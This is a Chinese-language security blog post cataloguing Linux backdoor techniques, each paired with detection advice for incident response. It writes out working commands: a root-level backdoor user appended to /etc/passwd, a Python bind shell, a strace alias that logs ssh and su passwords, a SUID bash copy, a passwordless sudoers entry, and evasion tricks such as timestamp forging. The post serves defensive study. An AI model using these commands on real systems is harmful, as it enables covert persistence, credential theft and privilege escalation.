linux常见backdoor技术

VSole2021-09-02 07:33:03

  • 最近遇到一些和后门相关的技术,所以把之前linux backdoor相关笔记重新学习和整理了一下。在这里做一下记录,后续有时间整理一下windows backdoor方面的技术。
  • 在服务器被入侵后进行应急响应无非通过文件排查、网络排查、进程排查、系统信息排查等方法进行入侵排查。下面就一些常见留后门技巧以及公开的工具进行剖析介绍。
  • 现在有一些公司在发现入侵之后直接重装系统,那么基本所有的后门就无法发挥权限维持的作用了,但作为一个安全从业人员还是需要对一些后门有一个基本的了解。

常见技巧

添加root权限后门用户

  • /etc/passwd这个文件包含了系统所有的用户名、ID、登录的shell等信息,这个文件是以分号分隔开的,依次是登录名、密码、用户ID、组ID,用户名、用户的根目录以及登录的shell,其中密码处可以是x(代表加密,存放在/etc/shadow文件中),也可以直接是加密后的密文,此外用户uid为0代表用户会是root的权限,这个时候我们的目标就是在这个文件中追加一条,一个带有密文且id为0的账号。
  • 关于密码加密我们可以使用下面的命令
#密码M0rk
xxx@ubuntu:~/Desktop$ perl -e 'print crypt("M0rk", "AA"). ""'
AAhmo1jgYI0HE
  • 所以我们最终想要在passwd文件中的条目是这个样子的
backdoor:AAhmo1jgYI0HE:0:0:me:/root:/bin/bash
  • append the backdoor to passwd file
echo "backdoor:AAhmo1jgYI0HE:0:0:me:/root:/bin/bash">>/etc/passwd

  • 注意当我们拥有一个命令执行漏洞或写文件漏洞且为root权限,这个时候就可以通过这种方法直接添加用户。且sshd需要允许root用户远程登录,PermitRootLogin yes
  • 另外需要注意的是修改完文件之后记得修改一下文件的时间戳,防止被发现,可以使用touch命令进行伪造 
  • 参考链接(https://stackoverflow.com/questions/40630695/linux-modify-file-modify-access-change-time)
  • 优点:简单
  • 缺点:易被检测到
  • 排查:检查/etc/passwd文件是否有异常

vim后门

#enter the mal script directory 、execute the script and then remove the script
cd /usr/lib/python2.7/site-packages && $(nohup vim -E -c "pyfile dir.py"> /dev/null 2>&1 &) && sleep 2 && rm -f dir.py
  • 此方法适用于安装了vim且安装了python扩展(绝大版本默认安装)的linux系统,至于恶意脚本dir.py的内容可以是任何功能的后门。如python版本的正向后门监听11端口。
#from https://www.leavesongs.com/PYTHON/python-shell-backdoor.html
from socket import *
import subprocess
import os, threading, sys, time

if __name__ == "__main__":
        server=socket(AF_INET,SOCK_STREAM)
        server.bind(('0.0.0.0',11))
        server.listen(5)
        print 'waiting for connect'
        talk, addr = server.accept()
        print 'connect from',addr
        proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk,
                stdout=talk, stderr=talk, shell=True)


  • 优点:通过查看/proc/pid/cmdline查看不到具体执行了什么命令或恶意脚本。
  • 缺点:仍可以看到有vim进程
  • 排查:检测对应vim进程号虚拟目录的map文件是否有python字眼。
  • 参考文章Weapons of Text Destruction.(https://github.com/archcloudlabs/WOTD/blob/master/%5BDARK%5D%20Weapons%20of%20%20Text%20Destruction.pdf)

终端解析\r导致的问题

echo -e "\r||<                  ';?>" >/var/www/html/test.php

  • 优点:通过终端命令例如cat、more等命令查看不到恶意代码,适合隐藏一句话木马等。
  • 缺点:易被检测,只是通过终端命令查看的时候看不到恶意代码,而通过其它读文件操作或者通过vim等工具进行编辑查看的时候仍可以查看到恶意代码。
  • 排查:使用编辑器或者一般的webshell扫描工具即可检测。

命令过长导致截断的问题

  • 在使用ps进行进程查看的时候,不知道有没有人注意到这样一个问题,命令很长被截断,终端显示有时候为了美观,可能会截断较长的命令,比如在使用docker ps -a查看container的时候,可能你的command列会显示不全,那么使用docker ps -a --no-trunc让其显示完全。同样在使用ps命令查看进程的时候,也存在这种问题。可以在其填充大量的空格进行截断,那么就可达到“进程隐藏”的效果。
  • 其中使用了xhide工具github地址(https://github.com/chenkaie/junkcode/blob/master/xhide.c)进行进程名的修改。
  • 优点:简单
  • 缺点:易被检测到
  • 排查:通过ps -aux|grep 可疑进程的pid 即可显示完全,或者使用ps aux | less -+S、ps aux | cat或ps aux | most -w等命令进行查看。
  • 这只是进程隐藏的一种方式,此外还有一些其他比较好的进程隐藏的方式,比如挂载覆盖型的进程隐藏,参考
  • 聊一聊Linux下进程隐藏的常见手法及侦测手段(https://www.anquanke.com/post/id/160843)
  • 反入侵之发现后门利用mount-bind将进程和端口信息隐匿(https://cloud.tencent.com/developer/article/1047347)

strace记录ssh登录密码

alias ssh='strace   -o   /tmp/sshpwd-`date    '+%d%h%m%s'`.log  \
 -e read,write,connect  -s2048 ssh'  
也可记录 su密码 alias su='strace   -o   /tmp/sshpwd-`date    '+%d%h%m%s'`.log  \
 -e read,write,connect  -s2048 su'


  • 优点:改动较小
  • 缺点:易被检测到
  • 排查:通过排查shell的配置文件或者alias命令即可发现,例如~/.bashrc和~/.bash_profile文件查看是否有恶意的alias问题。(注意bash_profile是在登录的shell执行的,bashrc是在非登录的shell执行,即如果你只是想每次在登录的时候让它去执行,这个时候你可以把你的命令写在.bash_profile,如果你想每次打开一个新的终端的时候都去执行,那么应该把命令写在.bashrc中)。

常见ssh后门

  • 一种是建立sshd的软连接方法,开启其它的端口例如
ln -sf /usr/sbin/sshd /home/su
/home/su -oport=2222
  • 优点:简单

  • 缺点:易被检测到
  • 排查:使用netstat -antlp查看可疑端口,然后ls -l 可执行文件即可。


  • 第二种是通过在openssh源码中插入恶意代码重新编译并替换原有sshd文件。插入的恶意代码可以是将登录成功的用户密码发送到远程服务器或者记录到某个log文件中。
  • 优点:隐蔽性较好
  • 缺点:暂无
  • 排查:这种sshd后门一般可能会有一定的特征,可以通过strings sshd |grep '[1-9]{1,3}.[1-9]{1,3}.'或者通过strace 查看是否有可疑的写文件操作。
  • 还有第三种就是创建authorized_keys 实现免密码登录的后门,在本地生成公私钥对,然后将公钥写入服务器的authorized_keys文件中,客户端使用私钥进行登录。
  • 优点:简单
  • 缺点:暂无
  • 排查:查看linux所有用户.ssh 目录下是否存在authroieze_keys文件以及文件中的内容

定时任务和开机启动项

  • 一般的挖矿木马喜欢设置定时任务来进行驻留或进行分时段的挖矿。

  • 排查:一般通过crontab -l命令即可检测到定时任务后门。不同的linux发行版可能查看开机启动项的文件不大相同,Debian系linux系统一般是通过查看/etc/init.d目录有无最近修改和异常的开机启动项。而Redhat系的linux系统一般是查看/etc/rc.d/init.d或者/etc/systemd/system等目录。

预加载型动态链接库后门 ld.so.preload

  • 可能有些人不太了解,简单说一下,就是我们在linux下执行某个可执行文件之前,系统会预先加载用户定义的动态链接库的一种技术,这个技术可以重写系统的库函数,导致发生Hijack。

  • 如上图所示,strace 命令id的时候可以发现有预先去读取/etc/ld.so.preload文件(也可使用设置LD_PRELAOD环境变量方式),如果我们将事先写好的恶意so文件位置写入ld.so.preload文件,这个时候就会达到“劫持”的效果。
  • 比较好用的工具有Vegile和cub3等
  • Vegile(https://github.com/Screetsec/Vegile/blob/master/Vegile#L112)
  • cub3(https://github.com/mempodippy/cub3),这个工具使用了LD_PRELOAD和系统的扩展属性去隐藏文件。
  • 更多参考:
  • Linux文件系统扩展属性
  • 其中还有一种是通过修改动态链接器来加载恶意动态链接库的后门,通过替换或者修改动态链接器中的默认预加载配置文件/etc/ld.so.preload路径的rootkit,此方法更加隐蔽,这个方法的较成熟的利用工具是Vlany,github地址https://github.com/mempodippy/vlany
  • 警惕利用Linux预加载型恶意动态链接库的后门(https://www.freebuf.com/column/162604.html)
  • 优点:可以隐藏文件、网络、进程等。相对于普通用户空间rootkit而言,隐藏性较好,相对于内核模块rootkit来说,兼容性更好,编写难道低
  • 缺点:暂无
  • 排查:通过strace命令去跟踪预加载的文件是否为/etc/ld.so.preload,以及文件中是否有异常的动态链接库。以及检查是否设置LD_PRELOAD环境变量等。注意:在进行应急响应的时候有可能系统命令被替换或者关键系统函数被劫持(例如通过预加载型动态链接库后门),导致系统命令执行不正常,这个时候可以下载busybox。下载编译好的对应平台版本的busybox,或者下载源码进行编译通过U盘拷贝到系统上,因为busybox是静态编译的,不依赖于系统的动态链接库,busybox的使用类似如下 busybox ls,busybox ps -a。

提权后门

*有时候我们需要放一个suid后门来辅助我们提权,比如 cp /bin/bash /bin/nf & chmod +s /bin/nf,这样我们拿到一个普通权限的shell之后可以通过执行 /bin/nf 提升自己的权限为root

*此外还可以通过将某个普通用户添加到sudoers来提权,例如jenkins ALL=(ALL) NOPASSWD: ALL

  • 排查:suid后门查找 find / -perm -4000 ,sudo后门检查 cat/etc/sudoers
  • ### 进程注入
  • 使用ptrace向进程中注入恶意so文件工具linux-inject,github地址(https://www.freebuf.com/column/162604.html)

内核级rootkit

  • 内核级的rootkit也很多,这里简单推荐一个Diamorphine

github地址(https://github.com/m0nad/Diamorphine)

  • 优点:隐藏性较好
  • 缺点:编写难度有点儿高
  • 排查:可以通过unhide等工具进行排查

其他

  • 以上介绍了几种backdoor的技巧也只是冰山一角,这里抛砖引玉,希望有更多人分享自己的经验和奇淫技巧,笔者水平有限,文中定有不足之处,还望各位斧正。Write your own backdoor and MAKE BACKDOOR GREAT AGAIN :D


linux服务器linux系统
本作品采用《CC 协议》,转载必须注明作者和本文链接
"请用root用户执行此脚本!#最近启动时间?#运行时间(天)?#相同ID的用户?#密码过期(天)?#允许root远程登录?#僵尸进程数量?#自启动服务数量?"系统巡检脚本:Version $VERSION"
Linux的应用越来越普遍,且绝大多数嵌入式系统都使用的是Linux系统。但近期,黑客对Linux服务器进行DDoS攻击的次数飙升,受DDoS攻击影响的有70多个国家,其中77%的攻击都发生在中国,最容易受攻击的国家还有法国和荷兰。黑客主要是利用C&C 服务器来集中管理并执行DDoS攻击,Linux服务器便成了其主要的攻击目标。面对如此猖獗的黑客攻击,Linux服务器如何做好预防工作呢?部署
假如你想要搭建一个Linux服务器,并且希望可以长期维护的话,就需要考虑安全性能与速度等众多因素。一份正确的linux基本安全配置手册就显得格外重要。#为删除你系统上的用户,用下面的命令:[root@c1gstudio]# userdel username#批量删除方式#这里删除"adm lp sync shutdown halt mail news uucp operator games gopher ftp "账号#如果你开着ftp等服务可以把ftp账号保留下来。for i in adm lp sync shutdown halt mail news uucp operator games gopher ftp ;do userdel $i ;done
#更改SSH端口,最好改为10000以上,别人扫描到端口的机率也会下降。防火墙要开放配置好的端口号,如果是阿里云服务器,你还需要去阿里云后台配置开发相应的端口才可以,否则登不上哦!如果你觉得麻烦,可以不用改。#禁用版本1协议, 因为其设计缺陷, 很容易使密码被黑掉。关键在于环境变量的不同,su -的环境变量更全面。#禁止空密码登陆。保存,用 uusama 账户登录后,直接获取的就是 root 帐号的权限。
Linux是一种开源操作系统,它支持各种硬件平台,Linux服务器全球知名,它和Windows之间最主要的差异在于,Linux服务器默认情况下一般不提供GUI(图形用户界面),而是命令行界面,它的主要目的是高效处理非交互式进程,响应时间并不是那么重要,相反,能够长时间处理高负载才是最关键的。
当企业发生网络安全事件时,急需第一时间进行处理,使企业的网络信息系统在最短时间内恢复正常工作,同时还需进一步查找入侵来源,还原入侵事故过程,给出解决方案与防范措施,为企业挽回或减少经济损失。 常见的网络安全事件:
SSH 是一种广泛使用的协议,用于安全地访问 Linux 服务器。但是,不安全的默认配置也会带来各种安全风险。具有开放 SSH 访问权限的服务器的 root 帐户可能存在风险。因此,有必要了解 SSH 安全性。这是在 Linux 上保护 SSH 服务器连接的方法。关闭 root 用户的服务器访问是一种防御策略,可以防止攻击者实现入侵系统的目标。例如,您可以创建一个名为exampleroot的用户,如下所示:useradd?
如果你的Linux服务器突然负载暴增,告警短信快发爆你的手机,如何在最短时间内找出Linux性能问题所在?来看Netflix性能工程团队的这篇博文,看它们通过十条命令在一分钟内对机器性能问题进行诊断。概述 通过执行以下命令,可以在1分钟内对系统资源使用情况有个大致的了解。
VSole
网络安全专家